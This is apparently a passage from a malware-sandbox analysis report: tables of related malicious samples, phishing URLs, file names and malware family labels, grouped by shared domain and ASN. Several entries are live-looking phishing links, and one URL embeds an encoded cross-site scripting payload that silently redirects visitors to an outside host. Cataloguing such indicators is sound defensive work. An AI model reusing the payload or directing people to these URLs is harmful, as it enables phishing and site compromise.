	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqBXGv96jYOLPbfDMonKbVwVJ9q9fP-2B1f4H-2BqIp4eeCsjsmeYd1NXzLLigIO2au2-2FBYSoK46XNNGyYWir3lvdXxg-3DG7p8_sr3RRAcu4odwGbdQjWTmtRZK0pqecDlnuCtdGvNjLenulNazcRtnCRKV0BvoRJgkfDx2X-2F3ZBNrf08prFkvIlP5MXKjwA4O16UT55ESDRZplkhlo-2Fvtjd-2BV2MitpzLw0a-2B1XU4terLe-2Fqi-2Ft0fTxdWRaBVdwcfHl9TlurekUTu5Y-2FjumYMUqV14VxkxLDpXSNQtwYEvQOfD8WraWtO2Yn-2Bp0p7hWuuyxOgD1TY4-2F6gY-3D	Get hash	malicious	HTMLPhisher	Browse
	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqKQFmYYN1hCWEMIVsGveF9zFMUnIk8mf3jX6PTGYvMyYUmWTvA1qbUShQDc5DVKSmMfMf4HpSatJ08ghh97kbLs-3DJcjl_09OugDUcQwwO9mX4VkTXjuP5ECqD-2FtAhOcLKpCQVZP7ABYNyAqLDO7b2XYTfvYO56lXVjkWcJqHNvRPiaOIGGWF1MqnXMsmqry2DwzSqyrZ7nUZcOLFBE3XXE9PIjxL-2FR7fq80TXPGRux2W5-2B8V49n7DrcPo3syGcv-2Fqn3uuby-2BXaTJXt01JneYpOVxfOmLbkczThDkXZx8YlL3snokTLQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse
	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqL9vmapMHlMIM-2BLX65ifPICNHDLnq998p4XOLaXjmrdPG2eTeR-2FfwmAC9I-2FdQuaJOyYwKckw4oEz7DbEh7M5Ao-2FkulxhVacbh7J08EpHX838j2SA_KSG9DCG9UbOLLUhIv1RStfdivPF6P3jidNVv51ZYUsdUGxGFGER8-2F73X2yfBa54CzTsWs1SJ9U4yPnBgpAc0sXOP-2BoYu2YDWvKncAwVp86eJoNzesQqRmpY1VD2T2d-2FpbMnBlNHs6CbaH8MIn23pxNyQt-2BnBF798DvVRdb9IeXRz2VxZSvfhCTW2lNytzHyiElxcpykqcXI8J0ZSUK8jrqJsOnDIQbwmXpt87CEdGTM-3D	Get hash	malicious	HTMLPhisher	Browse
	PayoffStatement56577.html	Get hash	malicious	Unknown	Browse
	https://clt1681380.benchurl.com/c/l?u=110AA92C&e=18021A8&c=19A7E4&t=1&l=F8ED5DEB&email=kpWJzhQ7K%2BMYm3l6NmfzHkwlaJRsmrOteeWRGMtRs94%3D&seq=1	Get hash	malicious	Unknown	Browse
	https://summitplatform.top/72d54ab1ebf31820280adea5e09e2de3663a0c353bcd8LOG72d54ab1ebf31820280adea5e09e2de3663a0c353bcd9	Get hash	malicious	Unknown	Browse
	https://parshwanathpipes.com/main/8303/new/new/barragan@sanitas.es	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
code.jquery.com	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqOVAJW472Wzw-2BHmV6urWOzmsW2Bsu40mXYTRkRpI1Q5wOTdgVB3Mjxn1nyvGrFwgBw9XXSqo0PcB1fY27GufiX4-3D0G6x_bUY3mTur-2BO07WtKrJ6vZYdHgqwcgg0W267fK5KrEcWjZd-2B8rgHjqJqg8h7BHCnAqaTRZ-2BzNh2WV0p-2Bb1LE9hM6azaM09hDzA2qDipV3ul6AjpV-2F-2BxLJPj2yRT8UYKQJcg5JISnL8oD7TCk1RCJn3zXMCCADkY0HeMAtFz2tmx1848waOG1eg4RjKld049B-2B7bm-2BXXTvogs6LcQ0vK52yt4IivyohgK9mhaHCtyWUvOk-3D	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	http://sciencetech.th.com/index.asp?PageShow=%22%3E%3Cscript%3Ewindow%5B%27location%27%5D%5B%27replace%27%5D%28%5B%27h%27%2C%20%27t%27%2C%20%27t%27%2C%20%27p%27%2C%20%27s%27%2C%20%27%3A%27%2C%20%27%2F%27%2C%20%27%2F%27%2C%20%27i%27%2C%20%27m%27%2C%20%27p%27%2C%20%27u%27%2C%20%27t%27%2C%20%27e%27%2C%20%27l%27%2C%20%27e%27%2C%20%27t%27%2C%20%27t%27%2C%20%27e%27%2C%20%27r%27%2C%20%27.%27%2C%20%27c%27%2C%20%27o%27%2C%20%27m%27%2C%20%27%2F%27%2C%20%270%27%2C%20%27%2F%27%2C%20%270%27%2C%20%27%2F%27%2C%20%270%27%2C%20%27%2F%27%2C%20%273%27%2C%20%278%27%2C%20%274%27%2C%20%272%27%2C%20%273%27%2C%20%273%27%2C%20%276%27%2C%20%272%27%2C%20%27d%27%2C%20%278%27%2C%20%27f%27%2C%20%273%27%2C%20%270%27%2C%20%273%27%2C%20%271%27%2C%20%272%27%2C%20%270%27%2C%20%275%27%2C%20%272%27%2C%20%27d%27%2C%20%27c%27%2C%20%27d%27%2C%20%27a%27%2C%20%274%27%2C%20%27c%27%2C%20%275%27%2C%20%272%27%2C%20%270%27%2C%20%27a%27%2C%20%27e%27%2C%20%270%27%2C%20%273%27%2C%20%27%2F%27%2C%20%2711/259-8617/964-124987-15330%27%5D%5B%27join%27%5D%28%27%27%29%29%2Cdocument%5B%27body%27%5D%5B%27style%27%5D%5B%27opacity%27%5D%3D0x0%3B%3C%2Fscript%3E	Get hash	malicious	Phisher	Browse	151.101.2.137
	https://virology-renewableenergy.4f1a9c6d3bb34e17fd28a39e.workers.dev/SqrZAnOXIymdZkH3vYeAU4R9Y018pzbHz177148-sfmaxgen-pgx--ifxJuntageneralalba-isxcorporacionalba.essf-1MC4x	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqIhcYcD90-2BeIe0HlXjz7laJGM1FEHy-2FismlvYvBwofHOrNA-2F7xRZ41Rk45q5ZK8hIIcy4VYyBsoGVBYETzqO1ES8JBIBCuc-2BD2EUpvNqOcpfHlqI_En4Rv3Q3sKeYZk3XLzg9rUbidhZvv99QjswdoRGGc4aCi3P1UvqLBy1-2FQ-2Fdnh-2BbWAXqIbGOojasC-2BdoNBdUA0RxG21o07vFJ5c96g07QRXMYKyVf2JWKHaBYxbafr-2BlTgAJI9cDakyUBcg9wR04floBxn9-2F4XkqpjFC5eRD6tR1ZX2YdX9iPfCLGCEusCCVl57mmsAaSUM4GgicQEgoidviob3oSBgfsshhtkqquRXw-3D	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqBXGv96jYOLPbfDMonKbVwVJ9q9fP-2B1f4H-2BqIp4eeCsjsmeYd1NXzLLigIO2au2-2FBYSoK46XNNGyYWir3lvdXxg-3DG7p8_sr3RRAcu4odwGbdQjWTmtRZK0pqecDlnuCtdGvNjLenulNazcRtnCRKV0BvoRJgkfDx2X-2F3ZBNrf08prFkvIlP5MXKjwA4O16UT55ESDRZplkhlo-2Fvtjd-2BV2MitpzLw0a-2B1XU4terLe-2Fqi-2Ft0fTxdWRaBVdwcfHl9TlurekUTu5Y-2FjumYMUqV14VxkxLDpXSNQtwYEvQOfD8WraWtO2Yn-2Bp0p7hWuuyxOgD1TY4-2F6gY-3D	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqKQFmYYN1hCWEMIVsGveF9zFMUnIk8mf3jX6PTGYvMyYUmWTvA1qbUShQDc5DVKSmMfMf4HpSatJ08ghh97kbLs-3DJcjl_09OugDUcQwwO9mX4VkTXjuP5ECqD-2FtAhOcLKpCQVZP7ABYNyAqLDO7b2XYTfvYO56lXVjkWcJqHNvRPiaOIGGWF1MqnXMsmqry2DwzSqyrZ7nUZcOLFBE3XXE9PIjxL-2FR7fq80TXPGRux2W5-2B8V49n7DrcPo3syGcv-2Fqn3uuby-2BXaTJXt01JneYpOVxfOmLbkczThDkXZx8YlL3snokTLQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqL9vmapMHlMIM-2BLX65ifPICNHDLnq998p4XOLaXjmrdPG2eTeR-2FfwmAC9I-2FdQuaJOyYwKckw4oEz7DbEh7M5Ao-2FkulxhVacbh7J08EpHX838j2SA_KSG9DCG9UbOLLUhIv1RStfdivPF6P3jidNVv51ZYUsdUGxGFGER8-2F73X2yfBa54CzTsWs1SJ9U4yPnBgpAc0sXOP-2BoYu2YDWvKncAwVp86eJoNzesQqRmpY1VD2T2d-2FpbMnBlNHs6CbaH8MIn23pxNyQt-2BnBF798DvVRdb9IeXRz2VxZSvfhCTW2lNytzHyiElxcpykqcXI8J0ZSUK8jrqJsOnDIQbwmXpt87CEdGTM-3D	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	PayoffStatement56577.html	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://nordarun.com/	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://secure.adnxs.com/clktrb?id=704169&redir=https://secure.adnxs.com/clktrb?id=704169&redir=https://staff.media/api/enrollment/5KZ8-TSUC0T-ZYW1___amFuaW5lLndhbGxhY2VAYXRzZ2luYy5jb20=___62043MeZkWe6f7267IItJ8ANPCUqFJEdXUo1McUixpuxnW9iu?_ref=https://akams.com&_c=am9uYXRoYW4ucHJpY2VAdXRpY2FrMTIub3JnDQ==08499&_lscn=nam12.safe.protected&_token=FFO6dmtxhVS3syariUERxSPpYwWbtzsZZIc315XimyzfsPCQA2BuyGk4edZ2LRezbgyZ8LF4jZqBpkCLcfwsxh	Get hash	malicious	Unknown	Browse	151.101.66.137
cdnjs.cloudflare.com	https://communications.icef.com/e/937843/subscribe-/5yzzkt/661270347/h/o37OdT5kTTK0YQOP38DxMTqm35wsAb972tVFJzAO86Y	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://sciencetech.th.com/index.asp?PageShow=%22%3E%3Cscript%3Ewindow%5B%27location%27%5D%5B%27replace%27%5D%28%5B%27h%27%2C%20%27t%27%2C%20%27t%27%2C%20%27p%27%2C%20%27s%27%2C%20%27%3A%27%2C%20%27%2F%27%2C%20%27%2F%27%2C%20%27i%27%2C%20%27m%27%2C%20%27p%27%2C%20%27u%27%2C%20%27t%27%2C%20%27e%27%2C%20%27l%27%2C%20%27e%27%2C%20%27t%27%2C%20%27t%27%2C%20%27e%27%2C%20%27r%27%2C%20%27.%27%2C%20%27c%27%2C%20%27o%27%2C%20%27m%27%2C%20%27%2F%27%2C%20%270%27%2C%20%27%2F%27%2C%20%270%27%2C%20%27%2F%27%2C%20%270%27%2C%20%27%2F%27%2C%20%273%27%2C%20%278%27%2C%20%274%27%2C%20%272%27%2C%20%273%27%2C%20%273%27%2C%20%276%27%2C%20%272%27%2C%20%27d%27%2C%20%278%27%2C%20%27f%27%2C%20%273%27%2C%20%270%27%2C%20%273%27%2C%20%271%27%2C%20%272%27%2C%20%270%27%2C%20%275%27%2C%20%272%27%2C%20%27d%27%2C%20%27c%27%2C%20%27d%27%2C%20%27a%27%2C%20%274%27%2C%20%27c%27%2C%20%275%27%2C%20%272%27%2C%20%270%27%2C%20%27a%27%2C%20%27e%27%2C%20%270%27%2C%20%273%27%2C%20%27%2F%27%2C%20%2711/259-8617/964-124987-15330%27%5D%5B%27join%27%5D%28%27%27%29%29%2Cdocument%5B%27body%27%5D%5B%27style%27%5D%5B%27opacity%27%5D%3D0x0%3B%3C%2Fscript%3E	Get hash	malicious	Phisher	Browse	104.17.24.14
	https://virology-renewableenergy.4f1a9c6d3bb34e17fd28a39e.workers.dev/SqrZAnOXIymdZkH3vYeAU4R9Y018pzbHz177148-sfmaxgen-pgx--ifxJuntageneralalba-isxcorporacionalba.essf-1MC4x	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://msteams.link/ILON	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://46.8.8.100	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://46.8.8.100	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://calcmaker.com/-/ohpiPGH30AjqC3psgTbi	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://stainlesseu.documentfilesoffices.top	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://hrd-resources.hcamag.com//free/w_rewa15/prgm.cgi?a=1&utm_medium=email&_hsenc=p2ANqtz--HfLqrQmFFsVvuE58ldJaJQ95pGvtQN8iTFJ6icORv_iGUCsTZIZtf_IC7CLk44CCz2MNlE562S9HkiWR1dz6weE0B0h9aXgMDXF_Eep-gAHTpUbI&_hsmi=305448294&utm_content=305448294&utm_source=hs_email	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://share-field-7570.yralecaeaghnrsn.workers.dev/55dbf939-4f12-4e1	Get hash	malicious	Unknown	Browse	104.17.24.14
cs1100.wpc.omegacdn.net	https://virology-renewableenergy.4f1a9c6d3bb34e17fd28a39e.workers.dev/SqrZAnOXIymdZkH3vYeAU4R9Y018pzbHz177148-sfmaxgen-pgx--ifxJuntageneralalba-isxcorporacionalba.essf-1MC4x	Get hash	malicious	HTMLPhisher	Browse	152.199.4.44
	Messages Undelivered.html	Get hash	malicious	HTMLPhisher	Browse	152.199.4.44
	https://url2.mailanyone.net/scanner?m=1s45kJ-00020Z-44&d=4%7Cmail%2F90%2F1715029800%2F1s45kJ-00020Z-44%7Cin2k%7C57e1b682%7C28613012%7C14303582%7C6639496BE14DCDF10D394B7B55DB807F&o=%2Fphtu%3A%2Fptsacblmus.i-mdktcnai.ypos.%2F%2Faicm5sor35feg%2Fa-5ce90-285-f10f8-1963002105da9%2Fc%2FfEi9rN50SH2Z-VWWA_uxAAEAF0taA%3F%25ge%3Dtrr27BeTag%252%25ltUA223r%25sh%2522tp%252tF%2553252%25A2ed52aarnFrrataacaizc%25m.c5br2o.iy2Fgyvugv%252k%2522C22%25tiRepecOdr2nti3%252%25os5BA%25222%257%25lA2%252ul%253n22C%253%252%2521DlAn7%257%25ultiD%26les%3Ddg80QhJhi0pCF1rkb1qh9AH2erlwDy%25BjdOng19XaO%26IB2e3Ds4%25stcroerieV95n%3Db757a83dbdbbab248443e6db3fee51&s=L2FvHx5oaqoqpUYmVLmHcL1P8jM	Get hash	malicious	Fake Captcha	Browse	152.199.4.44
	https://tinyurl.com/mwhds9en	Get hash	malicious	HTMLPhisher	Browse	152.199.4.44
	http://fuelrite-my.sharepoint.com/personal/dsullivan_fuelrite_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fdsullivan%5Ffuelrite%5Fcom%2FDocuments%2FView%20and%20Print%20Online%20Masonry%2FView%20and%20Print%20Online%2Epdf&parent=%2Fpersonal%2Fdsullivan%5Ffuelrite%5Fcom%2FDocuments%2FView%20and%20Print%20Online%20Masonry&ga=1	Get hash	malicious	Unknown	Browse	152.199.4.44
	FW IMPORTANT DVO 96FEJJ - Distribution_Notice.eml	Get hash	malicious	HTMLPhisher	Browse	152.199.4.44
	https://cloudflare-ipfs.com/ipfs/bafkreiatntmsqthbzq55w5z7j4exwawk3pfvamjqbdm5i34m6qnahshcfy	Get hash	malicious	HTMLPhisher	Browse	152.199.4.44
	https://calcmaker.com/-/ohpiPGH30AjqC3psgTbi	Get hash	malicious	HTMLPhisher	Browse	152.199.4.44
	Early Cutoff(usli.com).html	Get hash	malicious	HTMLPhisher	Browse	152.199.4.44
	Scanned_From_Microsoft-365-Ms Jennifer Ferrier Chief Financial Officer payment remittance.HTML	Get hash	malicious	HTMLPhisher	Browse	152.199.4.44
challenges.cloudflare.com	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqOVAJW472Wzw-2BHmV6urWOzmsW2Bsu40mXYTRkRpI1Q5wOTdgVB3Mjxn1nyvGrFwgBw9XXSqo0PcB1fY27GufiX4-3D0G6x_bUY3mTur-2BO07WtKrJ6vZYdHgqwcgg0W267fK5KrEcWjZd-2B8rgHjqJqg8h7BHCnAqaTRZ-2BzNh2WV0p-2Bb1LE9hM6azaM09hDzA2qDipV3ul6AjpV-2F-2BxLJPj2yRT8UYKQJcg5JISnL8oD7TCk1RCJn3zXMCCADkY0HeMAtFz2tmx1848waOG1eg4RjKld049B-2B7bm-2BXXTvogs6LcQ0vK52yt4IivyohgK9mhaHCtyWUvOk-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://docusign.smumsmd.ws/?__cf_chl_tk=ITyQHnec0_EF.H_i4.XpgDZn_bM0SvaoPwEjSVf12Yg-1715089177-0.0.1.1-1578	Get hash	malicious	Unknown	Browse	104.17.2.184
	https://virology-renewableenergy.4f1a9c6d3bb34e17fd28a39e.workers.dev/SqrZAnOXIymdZkH3vYeAU4R9Y018pzbHz177148-sfmaxgen-pgx--ifxJuntageneralalba-isxcorporacionalba.essf-1MC4x	Get hash	malicious	HTMLPhisher	Browse	104.17.3.184
	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqIhcYcD90-2BeIe0HlXjz7laJGM1FEHy-2FismlvYvBwofHOrNA-2F7xRZ41Rk45q5ZK8hIIcy4VYyBsoGVBYETzqO1ES8JBIBCuc-2BD2EUpvNqOcpfHlqI_En4Rv3Q3sKeYZk3XLzg9rUbidhZvv99QjswdoRGGc4aCi3P1UvqLBy1-2FQ-2Fdnh-2BbWAXqIbGOojasC-2BdoNBdUA0RxG21o07vFJ5c96g07QRXMYKyVf2JWKHaBYxbafr-2BlTgAJI9cDakyUBcg9wR04floBxn9-2F4XkqpjFC5eRD6tR1ZX2YdX9iPfCLGCEusCCVl57mmsAaSUM4GgicQEgoidviob3oSBgfsshhtkqquRXw-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqBXGv96jYOLPbfDMonKbVwVJ9q9fP-2B1f4H-2BqIp4eeCsjsmeYd1NXzLLigIO2au2-2FBYSoK46XNNGyYWir3lvdXxg-3DG7p8_sr3RRAcu4odwGbdQjWTmtRZK0pqecDlnuCtdGvNjLenulNazcRtnCRKV0BvoRJgkfDx2X-2F3ZBNrf08prFkvIlP5MXKjwA4O16UT55ESDRZplkhlo-2Fvtjd-2BV2MitpzLw0a-2B1XU4terLe-2Fqi-2Ft0fTxdWRaBVdwcfHl9TlurekUTu5Y-2FjumYMUqV14VxkxLDpXSNQtwYEvQOfD8WraWtO2Yn-2Bp0p7hWuuyxOgD1TY4-2F6gY-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.3.184
	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqKQFmYYN1hCWEMIVsGveF9zFMUnIk8mf3jX6PTGYvMyYUmWTvA1qbUShQDc5DVKSmMfMf4HpSatJ08ghh97kbLs-3DJcjl_09OugDUcQwwO9mX4VkTXjuP5ECqD-2FtAhOcLKpCQVZP7ABYNyAqLDO7b2XYTfvYO56lXVjkWcJqHNvRPiaOIGGWF1MqnXMsmqry2DwzSqyrZ7nUZcOLFBE3XXE9PIjxL-2FR7fq80TXPGRux2W5-2B8V49n7DrcPo3syGcv-2Fqn3uuby-2BXaTJXt01JneYpOVxfOmLbkczThDkXZx8YlL3snokTLQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqL9vmapMHlMIM-2BLX65ifPICNHDLnq998p4XOLaXjmrdPG2eTeR-2FfwmAC9I-2FdQuaJOyYwKckw4oEz7DbEh7M5Ao-2FkulxhVacbh7J08EpHX838j2SA_KSG9DCG9UbOLLUhIv1RStfdivPF6P3jidNVv51ZYUsdUGxGFGER8-2F73X2yfBa54CzTsWs1SJ9U4yPnBgpAc0sXOP-2BoYu2YDWvKncAwVp86eJoNzesQqRmpY1VD2T2d-2FpbMnBlNHs6CbaH8MIn23pxNyQt-2BnBF798DvVRdb9IeXRz2VxZSvfhCTW2lNytzHyiElxcpykqcXI8J0ZSUK8jrqJsOnDIQbwmXpt87CEdGTM-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.3.184
	PayoffStatement56577.html	Get hash	malicious	Unknown	Browse	104.17.3.184
	https://clt1681380.benchurl.com/c/l?u=110AA92C&e=18021A8&c=19A7E4&t=1&l=F8ED5DEB&email=kpWJzhQ7K%2BMYm3l6NmfzHkwlaJRsmrOteeWRGMtRs94%3D&seq=1	Get hash	malicious	Unknown	Browse	104.17.3.184
	https://probaupassau.angebotproposal.top	Get hash	malicious	Unknown	Browse	104.17.2.184
part-0012.t-0009.t-msedge.net	Messages Undelivered.html	Get hash	malicious	HTMLPhisher	Browse	13.107.213.40
	https://url2.mailanyone.net/scanner?m=1s45kJ-00020Z-44&d=4%7Cmail%2F90%2F1715029800%2F1s45kJ-00020Z-44%7Cin2k%7C57e1b682%7C28613012%7C14303582%7C6639496BE14DCDF10D394B7B55DB807F&o=%2Fphtu%3A%2Fptsacblmus.i-mdktcnai.ypos.%2F%2Faicm5sor35feg%2Fa-5ce90-285-f10f8-1963002105da9%2Fc%2FfEi9rN50SH2Z-VWWA_uxAAEAF0taA%3F%25ge%3Dtrr27BeTag%252%25ltUA223r%25sh%2522tp%252tF%2553252%25A2ed52aarnFrrataacaizc%25m.c5br2o.iy2Fgyvugv%252k%2522C22%25tiRepecOdr2nti3%252%25os5BA%25222%257%25lA2%252ul%253n22C%253%252%2521DlAn7%257%25ultiD%26les%3Ddg80QhJhi0pCF1rkb1qh9AH2erlwDy%25BjdOng19XaO%26IB2e3Ds4%25stcroerieV95n%3Db757a83dbdbbab248443e6db3fee51&s=L2FvHx5oaqoqpUYmVLmHcL1P8jM	Get hash	malicious	Fake Captcha	Browse	13.107.246.40
	https://tinyurl.com/mwhds9en	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	May-Document-6_2024-6683.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.40
	http://fuelrite-my.sharepoint.com/personal/dsullivan_fuelrite_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fdsullivan%5Ffuelrite%5Fcom%2FDocuments%2FView%20and%20Print%20Online%20Masonry%2FView%20and%20Print%20Online%2Epdf&parent=%2Fpersonal%2Fdsullivan%5Ffuelrite%5Fcom%2FDocuments%2FView%20and%20Print%20Online%20Masonry&ga=1	Get hash	malicious	Unknown	Browse	13.107.246.40
	FW IMPORTANT DVO 96FEJJ - Distribution_Notice.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	https://cloudflare-ipfs.com/ipfs/bafkreiatntmsqthbzq55w5z7j4exwawk3pfvamjqbdm5i34m6qnahshcfy	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	VaWtypJaSI.hta	Get hash	malicious	Unknown	Browse	13.107.246.40
	PO.xls	Get hash	malicious	Unknown	Browse	13.107.246.40
	https://calcmaker.com/-/ohpiPGH30AjqC3psgTbi	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
EPITECHFR	4OxElU2622.exe	Get hash	malicious	RedLine	Browse	163.5.160.27
	RDFchOT4i0.exe	Get hash	malicious	Unknown	Browse	163.5.159.107
	SSA#1709856742244.wsf	Get hash	malicious	Unknown	Browse	163.5.64.74
	RA95ALDCS9.exe	Get hash	malicious	RedLine, Xmrig	Browse	163.5.112.53
	AG0OvgW166.exe	Get hash	malicious	RedLine	Browse	163.5.112.53
	9wDlG5DeRK.elf	Get hash	malicious	Moobot	Browse	163.5.188.11
	KW4EbKKLcF.exe	Get hash	malicious	Amadey, PureLog Stealer, XWorm	Browse	163.5.215.125
	isWhefjqVA.elf	Get hash	malicious	Mirai	Browse	163.5.188.55
	wNxS15qBuw.elf	Get hash	malicious	Unknown	Browse	163.5.176.43
	conhost.exe	Get hash	malicious	Unknown	Browse	163.5.121.253
THREENETASNO	https://postnoord.dk.yiff.fi/sunia/u/r/	Get hash	malicious	Unknown	Browse	91.108.112.166
	https://www.canva.com/design/DAGAKNghr4A/3gUMtWRotAcalbbQiAq1GQ/edit?utm_content=DAGAKNghr4A&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton	Get hash	malicious	HTMLPhisher	Browse	91.108.120.124
	https://www.canva.com/design/DAGAKNghr4A/3gUMtWRotAcalbbQiAq1GQ/edit?utm_content=DAGAKNghr4A&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton	Get hash	malicious	HTMLPhisher	Browse	91.108.120.124
	Q9vNkPCYFk.dll	Get hash	malicious	Wannacry	Browse	91.108.110.254
